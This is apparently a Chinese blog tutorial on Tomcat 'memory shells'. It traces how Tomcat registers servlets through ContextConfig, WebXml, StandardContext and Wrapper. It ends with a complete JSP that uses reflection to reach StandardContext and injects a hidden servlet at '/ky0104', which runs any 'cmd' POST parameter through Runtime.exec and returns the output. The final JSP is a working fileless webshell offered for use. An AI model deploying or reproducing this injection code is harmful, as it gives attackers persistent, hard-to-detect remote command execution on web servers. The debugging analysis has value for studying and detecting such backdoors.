前面学习了 Listener/Filter 内存马,今天来学习一下 Servlet 内存马!
调试之前先来看一些相关类和属性,首先是 ServletDef
这个类,这个类有 servletName/servletClass
这两个属性,对应着的是 web.xml 里面的
这两个标签
<servlet>
<servlet-name>Servletservlet-name>
<servlet-class>com.sec.example.ServletDemoservlet-class>
servlet>
然后是 WebXml.servletMappings
这个属性,这个属性对应着的是 web.xml 里面的
标签
<servlet-mapping>
<servlet-name>Servletservlet-name>
<url-pattern>/servletDemourl-pattern>
servlet-mapping>
最后是 WebXml
类,这个是和 web.xml 相关联的一个类!
工程搭建
IDEA 创建一个 web 工程,编写如下 Servlet 用于调试分析
@WebServlet("/servletDemo")
public class ServletDemo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("ky1230");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
因为调试涉及到 Tomcat 中间件包里的代码,所以需要把 Tomcat 下 lib 目录下的包都导入进来
在 ContextConfig#processClass
方法处下断点,调试启动 Tomcat 中间件,程序会停在这个方法上。方法先获取类上的所有注释,然后获取注释类型,根据类型进入不同的方法进行处理,这里因为是 Servlet 注释,所以进入的是 processAnnotationWebServlet
方法进行处理
跟进 processAnnotationWebServlet
方法,先从 web.xml 中获取 Servlet 相关的信息,因为我们是通过注释进行配置 Servlet 的,所以这里获取到的 servletDef
为空,为空则把从注释获取到的信息赋值给 servletDef
继续跟进,这里获取到 Servlet 对应的路径并赋值给 urlPatterns
,把 servletDef
添加到 fragment
里面,再把 urlPattern
和 servletName
添加到 fragment
里面
跟进一下 addServletMapping
方法,可以看到其实是把 urlPattern
和 servletName
添加到 servletMappings
HashMap 里面了
继续跟进,在 ContextConfig#configureContext
方法里,获取所有前面装配进 Webxml
的 Servlet,然后创建一个 Wrapper
,再判断 Servlet 里对应的 loadOnStartup
是否为空,不为空则把 loadOnStartup
设置进 Wrapper
里,最后设置 Wrapper.name
为 Servlet 的 name
loadOnStartup
其实就是 web.xml 配置 Servlet 时的一个配置
<load-on-startup>1load-on-startup>
继续跟进,最后把 wrapper
加入到 Child
中
从 webxml 中获取所有前面装配进 Webxml
的 servletMappings
跟进 addServletMappingDecoded
方法,这里最终添加到的是 StandardContext#servletMappings
属性
继续跟进到 StandardContext#loadOnStartup
方法,这里获取所有的 child
和 对应的 loadOnStartup
,当 loadOnStartup
大于等于 0 时把 wrapper
加入到 map
当中
继续跟进,把所有的 wrapper
加入到 map
中后从遍历获取 map
中的 wrapper
并调用其 load
方法
跟进 load
方法,最终进入到 loadServlet
方法,判断 instance
是否为空,不为空则直接返回 instance
,为空则实例化这个 wrapper
对应的 servletClass
至此,调试分析就到这了,现在再看一下 StandardWrapper#setServlet
方法,这个方法可以设置 instance
属性,后面构造会用到
因为在 loadOnStartup
方法中获取到的是 StandardContext
的 child
,所以我们先获取到 StandardContext
,然后创建一个 Wrapper
,往里面注入 LoadOnStartup/Name/instance
,再把 Wrapper
注入到 StandardContext
中,最后往 StandardContext
中注入 ServletMapping
即可
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% // 构造恶意的 HttpServlet,使用 POST 方式进行传递命令参数
HttpServlet servlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doGet(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i = inputStream.read(bytes)) != -1){
resp.getWriter().write(new String(bytes,0,i));
resp.getWriter().write("\r\n");
}
}
}
};
%>
<% // 获取 StandardContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
<% // 构造恶意 Wrapper
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(servlet.getClass().getName());
//wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
%>
<% //往 standardContext 中注入恶意 Wrapper 以及 ServletMapping
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/ky0104",servlet.getClass().getName());
%>
https://blog.csdn.net/angry_program/article/details/118492214